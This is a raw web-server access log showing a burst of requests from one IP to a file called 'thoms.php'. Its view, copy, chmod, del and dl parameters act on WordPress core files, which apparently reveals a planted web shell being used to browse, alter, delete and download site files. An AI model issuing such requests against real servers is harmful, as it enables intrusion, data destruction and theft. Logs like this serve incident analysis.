45.135.193.11 - - [11/Sep/2026:23:37:19 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-oembed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11842 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-oembed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:19 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-comment-query.php HTTP/1.1" 200 25417 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-comment-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:19 -0400] "GET /thoms.php?chmod=class-wp-oembed-controller.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed-controller.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:19 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-theme-json-schema.php HTTP/1.1" 200 14553 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-theme-json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:19 -0400] "GET /thoms.php?del=class-wp-http.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=class-wp-http.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:19 -0400] "GET /thoms.php?chmod=class-wp-xmlrpc-server.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-xmlrpc-server.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:19 -0400] "GET /thoms.php?dl=class-wp-token-map.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59387 "http://163.245.207.76:443/thoms.php?dl=class-wp-token-map.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:19 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-duotone.php HTTP/1.1" 200 23476 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-duotone.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:19 -0400] "GET /thoms.php?del=class-wp-block-templates-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=class-wp-block-templates-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:20 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=theme-i18n.json HTTP/1.1" 200 12434 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=theme-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:20 -0400] "GET /thoms.php?del=template-canvas.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=template-canvas.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:20 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-post.php HTTP/1.1" 200 14572 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:20 -0400] "GET /betcity.com.tw/wp-includes/class-wp-rewrite.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:20 -0400] "GET /thoms.php?del=canonical.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59425 "http://163.245.207.76:443/thoms.php?del=canonical.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:20 -0400] "GET /betcity.com.tw/wp-includes/class-wp-theme-json-data.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:20 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-taxonomy.php HTTP/1.1" 200 17364 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:20 -0400] "GET /betcity.com.tw/wp-includes/class-wp-url-pattern-prefixer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:20 -0400] "GET /thoms.php?dl=class-wp-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:20 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp.php HTTP/1.1" 200 20837 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:21 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=author-template.php HTTP/1.1" 200 18289 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=author-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:21 -0400] "GET /thoms.php?chmod=class-phpmailer.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-phpmailer.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:21 -0400] "GET /thoms.php?chmod=class-wp-comment-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:21 -0400] "GET /betcity.com.tw/wp-includes/feed-rss2.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:21 -0400] "GET /thoms.php?del=block-editor.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=block-editor.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:21 -0400] "GET /betcity.com.tw/wp-includes/class-wp-block-supports.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:21 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffunctions.wp-styles.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffunctions.wp-styles.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:21 -0400] "GET /thoms.php?dl=connectors.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=connectors.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:21 -0400] "GET /thoms.php?del=default-filters.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59434 "http://163.245.207.76:443/thoms.php?del=default-filters.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:21 -0400] "GET /betcity.com.tw/wp-includes/class-wp-site.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:21 -0400] "GET /thoms.php?chmod=class-wp-http-requests-response.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-response.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:22 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=json-schema.php HTTP/1.1" 200 14413 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:21 -0400] "GET /thoms.php?del=class-wp-simplepie-file.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-file.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:22 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ftaxonomy.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ftaxonomy.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:22 -0400] "GET /thoms.php?del=locale.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59458 "http://163.245.207.76:443/thoms.php?del=locale.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:22 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffonts&p= HTTP/1.1" 200 12367 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffonts&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:22 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=feed-rss2-comments.php HTTP/1.1" 200 13578 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=feed-rss2-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:22 -0400] "GET /thoms.php?dl=wp-diff.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=wp-diff.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:22 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fhttp.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fhttp.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:22 -0400] "GET /thoms.php?chmod=post-formats.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=post-formats.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:22 -0400] "GET /betcity.com.tw/wp-includes/template-loader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:22 -0400] "GET /thoms.php?del=ms-load.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=ms-load.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fpost-thumbnail-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fpost-thumbnail-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fregistration.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fregistration.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:23 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php HTTP/1.1" 200 13352 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:23 -0400] "GET /betcity.com.tw/wp-includes/nav-menu-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:23 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-customize-widgets.php HTTP/1.1" 200 33041 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-customize-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fms-files.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fms-files.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:23 -0400] "GET /thoms.php?chmod=widgets.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:23 -0400] "GET /betcity.com.tw/wp-includes/block-patterns/ HTTP/1.1" 200 1514 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:23 -0400] "GET /thoms.php?del=class-wp-customize-nav-menus.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-nav-menus.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fphp-ai-client&p= HTTP/1.1" 200 12356 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fphp-ai-client&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:23 -0400] "GET /thoms.php?chmod=class-wp-filter-sentinel.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-filter-sentinel.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:24 -0400] "GET /thoms.php?chmod=class-wp-hook.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-hook.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:24 -0400] "GET /betcity.com.tw/wp-includes/SimplePie/ HTTP/1.1" 200 873 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:24 -0400] "GET /thoms.php?chmod=admin-bar.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=admin-bar.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:24 -0400] "GET /thoms.php?dl=class-wp-network.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-network.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:24 -0400] "GET /thoms.php?del=class-wp-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class-wp-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:24 -0400] "GET /thoms.php?del=class-wp-theme-json-data.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-data.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:24 -0400] "GET /betcity.com.tw/wp-includes/class-wp-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:24 -0400] "GET /thoms.php?chmod=class-wp-duotone.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=class-wp-duotone.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:24 -0400] "GET /betcity.com.tw/wp-includes/class-wp-http-cookie.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:24 -0400] "GET /thoms.php?dl=class-wp-customize-manager.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-manager.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:24 -0400] "GET /betcity.com.tw/wp-includes/widgets/ HTTP/1.1" 200 1739 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:25 -0400] "GET /thoms.php?chmod=rewrite.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=rewrite.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-speculation-rules.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-speculation-rules.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:25 -0400] "GET /thoms.php?del=class-wp-icons-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=class-wp-icons-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:25 -0400] "GET /thoms.php?dl=ms-functions.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59453 "http://163.245.207.76:443/thoms.php?dl=ms-functions.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:25 -0400] "GET /thoms.php?del=sitemaps.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=sitemaps.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:25 -0400] "GET /thoms.php?dl=view-config.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=view-config.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:25 -0400] "GET /thoms.php?del=view-transitions.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=view-transitions.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:26 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Fblocks HTTP/1.1" 200 39433 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Fblocks" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
